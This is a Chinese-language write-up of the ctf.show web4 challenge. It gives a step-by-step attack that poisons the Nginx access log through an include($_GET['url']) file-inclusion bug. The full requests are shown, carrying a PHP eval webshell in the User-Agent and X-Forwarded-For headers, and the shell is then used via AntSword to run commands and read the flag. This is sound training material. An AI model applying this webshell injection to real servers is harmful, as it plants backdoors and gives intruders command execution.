ctf.show_web4

这道题是 日志包含 + 命令 / 后门注入,核心思路是:

  1. 利用 include($_GET['url']) 包含 Nginx 访问日志
  2. 在请求头里写入 PHP 一句话木马,让日志里留下可执行的后门代码
  3. 用蚁剑连接后门,拿到 flag

✅ 步骤 1:确认日志路径可包含

先访问日志文件,验证文件包含漏洞:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

如果页面返回 Nginx 访问日志(像截图里那样),说明日志包含成功,可以继续下一步。


✅ 步骤 2:在请求头注入 PHP 后门

用 Burp Suite 抓包,修改请求头,在 User-AgentX-Forwarded-For 里写入一句话木马:

http

复制代码
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: 你的目标地址
User-Agent: <?php @eval($_POST['-123']); ?>
X-Forwarded-For: <?php @eval($_POST['-123']); ?>
Connection: close
  • 密码设为 -123(你可以随便改)
  • 发送这个请求,Nginx 会把这个 User-Agent 写入访问日志,日志里就有了可执行的 PHP 代码

✅ 步骤 3:包含日志,让后门生效

再次访问日志路径,让服务器执行日志里的 PHP 代码:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

这一步会让 include() 把日志里的 <?php @eval($_POST['-123']); ?> 当作 PHP 代码执行。


✅ 步骤 4:用蚁剑连接后门

  1. 打开蚁剑,点击「添加数据」

  2. 输入 URL: plaintext

    复制代码
    http://你的目标地址/?url=/var/log/nginx/access.log
  3. 密码填 -123(和你刚才注入的密码一致)

  4. 选择「POST」方式,点击「测试连接」

  5. 连接成功后,就可以管理服务器文件、执行命令,直接找到 flag

具体操作

步骤 1:用 Burp Suite 抓包并注入一句话木马

  1. 打开 Burp Suite,开启 Proxy → Intercept 拦截。

  2. 浏览器访问: plaintext

    复制代码
    https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
  3. Burp 会拦截到这个 GET 请求,修改请求头 ,在 User-Agent 里写入 PHP 一句话木马:

    http

    复制代码
    GET /?url=/var/log/nginx/access.log HTTP/1.1
    Host: 00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show
    User-Agent: <?php @eval($_POST['-123']); ?>  <!-- 核心:注入后门代码 -->
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Connection: close
    • 密码设为 -123(可以自定义)
    • 其他头保持不变
  4. 点击 Forward 放行请求,Nginx 会把这段 PHP 代码写入访问日志


✅ 步骤 2:验证日志包含后门已生效

再次在浏览器访问同一个 URL:

plaintext

复制代码
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log

这一步会让 include() 执行日志里的 PHP 代码,后门已经激活。


✅ 步骤 3:用蚁剑连接后门拿 flag

  1. 打开蚁剑(AntSword),点击「添加数据」。
  2. 填写信息:
    • URL 地址

      plaintext

      复制代码
      https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
    • 连接密码-123(和你注入的密码一致)

    • 请求方式POST

  3. 点击「测试连接」,如果提示连接成功,就可以:
    • 浏览服务器文件
    • 执行系统命令(比如 cat /flag
    • 直接找到并读取 flag 文件

💡 关键原理(为什么能成功)

  1. include($_GET['url']) 允许包含任意文件,这里我们包含了 Nginx 访问日志 /var/log/nginx/access.log
  2. 我们在 User-Agent 里写入 PHP 代码,Nginx 会把请求头原样记录到日志中。
  3. 再次包含日志时,PHP 代码会被服务器执行,相当于留下了一个后门。
  4. 蚁剑通过 POST 传递密码,执行任意系统命令,最终拿到 flag。

🚀 避坑提醒

  • 必须用 https:你的目标地址是 https,不要改成 http,否则会报错。
  • 密码要一致 :蚁剑里填的密码必须和 Burp 注入的 $_POST['xxx'] 里的 xxx 完全一样。
  • 如果蚁剑连接失败:检查 URL 是否正确、密码是否一致、是否已经成功注入了 PHP 代码到日志里。
相关推荐
小羊子说18 小时前
Android系统中 socketpair 的源码解读与应用分析小结
android·java
FL4m3Y4n19 小时前
MySQL索引原理与SQL优化
android·sql·mysql
我命由我1234519 小时前
Android Gradle - Gradle 自定义插件(Build Script 自定义插件、buildSrc 自定义插件、独立项目自定义插件)
android·java·java-ee·kotlin·android studio·android-studio·android runtime
冬奇Lab20 小时前
AudioFlinger混音机制深度解析
android·音视频开发·源码阅读
滑雪的企鹅.21 小时前
Kotlin云头条技术点剖析(项目复习02)——用户协议页面
android·开发语言·kotlin
JMchen1231 天前
Android NDK开发从入门到实战:解锁应用性能的终极武器
android·开发语言·c++·python·c#·android studio·ndk开发
脚大江山稳1 天前
单独为mysql数据库的某个库创建用户
android·数据库·mysql
吉哥机顶盒刷机1 天前
XDBL安卓玩机刷机工具V2.8_解压缩版
android·智能手机·电脑
XiaoLeisj1 天前
Android 广播机制实战:从系统广播监听、自定义登录通知到有序广播分发
android